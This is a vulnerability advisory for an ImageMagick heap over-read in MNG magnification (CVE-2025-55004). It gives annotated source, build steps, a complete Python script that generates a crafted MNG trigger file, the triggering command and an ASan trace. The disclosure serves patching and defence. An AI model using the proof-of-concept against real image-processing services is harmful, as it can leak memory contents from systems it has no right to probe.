CVE-2025-55004

HIGH7.6EPSS 0.08%

imagemagick: heap-buffer overflow read in MNG magnification with alpha

Published: 8/25/2025Modified: 5/9/2026

Description

## **Vulnerability Details** When performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels. When loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop: ```c if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reading alpha from alpha_blob."); jng_image=ReadImage(alpha_image_info,exception); if (jng_image != (Image *) NULL) for (y=0; y < (ssize_t) image->rows; y++) { s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception); q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0] if ((s == (const Quantum *) NULL) || (q == (Quantum *) NULL)) break; if (image->alpha_trait != UndefinedPixelTrait) for (x=(ssize_t) image->columns; x != 0; x--) { SetPixelAlpha(image,GetPixelRed(jng_image,s),q); q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } else for (x=(ssize_t) image->columns; x != 0; x--) { Quantum alpha; alpha=GetPixelRed(jng_image,s); SetPixelAlpha(image,alpha,q); if (alpha != OpaqueAlpha) image->alpha_trait=BlendPixelTrait; // [1] q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } ``` Note that at \[1\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \[0\]) after this change has been made. The next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata. If we then pass this image into the `MAGN` chunk type, we can see that at \[2\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \[4\]. After the call at \[4\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. The pixel copying loop will subsequently read beyond the end of the allocation at \[5\]. ```c /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; // [2] next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4] (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); for (x=(ssize_t) image->columns-1; x >= 0; x--) { /* To do: get color as function of indexes[x] */ /* if (image->storage_class == PseudoClass) { } */ if (magn_methy <= 1) { /* replicate previous */ SetPixelRed(large_image,GetPixelRed(image,pixels),q); // [5] SetPixelGreen(large_image,GetPixelGreen(image, pixels),q); SetPixelBlue(large_image,GetPixelBlue(image, pixels),q); SetPixelAlpha(large_image,GetPixelAlpha(image, pixels),q); } ``` This can likely be used to leak subsequent memory contents into the output image. The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies. ## **Affected Version(s)** The issue has been successfully reproduced: - at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe` - in stable release `7.1.2-0` ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address -O0 -ggdb" export CXXFLAGS="-fsanitize=address -O0 -ggdb" export LDFLAGS="-fsanitize=address -O0 -ggdb" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability. ``` import struct import zlib def chunk(tag, data): crc = zlib.crc32(tag + data) & 0xffffffff return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc) # Simple 128x1 RGB jpeg jpeg = bytes([ 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43, 0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04, 0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07, 0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d, 0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10, 0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14, 0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04, 0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03, 0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00, 0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9 ]) # MNG File Construction mng_sig = b'\x8aMNG\r\n\x1a\n' mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0) mhdr_chunk = chunk(b'MHDR', mhdr_data) magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1) magn_chunk = chunk(b'MAGN', magn_data) jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0) jhdr_chunk = chunk(b'JHDR', jhdr_data) jdat_chunk = chunk(b'JDAT', jpeg) scanlines = b'\x00\x00'*128 compressed_scanlines = zlib.compress(scanlines) idat_chunk = chunk(b'IDAT', compressed_scanlines) iend_chunk = chunk(b'IEND', b'') mend_chunk = chunk(b'MEND', b'') mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk with open("magn_read.mng", "wb") as tmp: tmp.write(mng_bytes) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8 READ of size 4 at 0x51b000000680 thread T0 #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51 #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) 0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680) allocated by thread T0 here: #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10 #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10 #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34 #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed Shadow bytes around the buggy address: 0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1562409==ABORTING ``` ## **Reporter Credit** Google Big Sleep

Affected packages (19)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1HIGH7.6CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

References (6)